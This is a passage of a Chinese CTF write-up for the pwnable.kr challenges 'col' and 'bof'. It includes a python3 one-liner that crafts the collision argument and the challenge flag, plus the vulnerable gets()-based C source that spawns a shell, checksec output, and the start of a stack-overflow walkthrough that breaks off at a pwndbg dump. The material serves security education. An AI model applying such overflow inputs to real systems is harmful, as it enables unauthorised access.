</span></span><span class="line"><span class="ln">35</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;wrong passcode.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>感觉都是在考察C语言，我都忘了好几年了。</p>
<p>我们要传入一个值，20字节长，每4字节是一个整数，5个字节加起来等于<code>0x21DD09EC</code></p>
<p>先随便输入4个，然后另一个多退少补。比如前4个都是0x01010101</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">&gt;&gt;&gt; 0x21DD09EC - 0x01010101 *4
</span></span><span class="line"><span class="ln">2</span><span class="cl">500762088
</span></span><span class="line"><span class="ln">3</span><span class="cl">&gt;&gt;&gt; hex(500762088)
</span></span><span class="line"><span class="ln">4</span><span class="cl">&#39;0x1dd905e8&#39;</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>最后一个是<code>0x1dd905e8</code></p>
<p>由于是小端序，低位要放在低地址，所以这5片都要倒过来，顺序无所谓。由于有不可打印字符，所以用Python传参：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">./col <span class="k">$(</span>python3 -c <span class="s2">&#34;import sys; sys.stdout.buffer.write(b&#39;\xe8\x05\xd9\x1d&#39; + b&#39;\x01&#39;*16)&#34;</span><span class="k">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>或者这样，顺序无所谓，反正都会加在一起。</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">./col <span class="k">$(</span>python3 -c <span class="s2">&#34;import sys; sys.stdout.buffer.write(b&#39;\x01\x01\x01\x01&#39;+b&#39;\xe8\x05\xd9\x1d&#39; + b&#39;\x01&#39;*12)&#34;</span><span class="k">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>flag：<code>Two_hash_collision_Nicely</code></p>
<h3 id="bof">bof<a class="anchor" href="#bof">#</a></h3>
<blockquote>
<p>Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?</p>
<p>ssh <a
  href="mailto:bof@pwnable.kr"
  >bof@pwnable.kr</a
>
 -p2222 (pw: guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kt">void</span> <span class="nf">func</span><span class="p">(</span><span class="kt">int</span> <span class="n">key</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="kt">char</span> <span class="n">overflowme</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;overflow me : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="nf">gets</span><span class="p">(</span><span class="n">overflowme</span><span class="p">);</span>       <span class="c1">// smash me!
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">key</span> <span class="o">==</span> <span class="mh">0xcafebabe</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">                <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">                <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Nah..</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="nf">func</span><span class="p">(</span><span class="mh">0xdeadbeef</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">bof@ubuntu:~$ checksec bof
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">[*] &#39;/home/bof/bof&#39;
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">    Arch:       i386-32-little
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">    RELRO:      Partial RELRO
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">    PIE:        PIE enabled
</span></span></span><span class="line"><span class="ln">9</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这题是栈溢出，但不是自己rop到system，而是把栈里面的0xdeadbeef覆写成0xcafebabe</p>
<p>有个readme：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">bof@ubuntu:~$ ls
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">bof  bof.c  readme
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">bof@ubuntu:~$ cat readme
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">bof binary is running at &#34;nc 0 9000&#34; under bof_pwn privilege. get shell and read flag
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>程序开在本地9000端口</p>
<p>调试如下：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt; stack 24
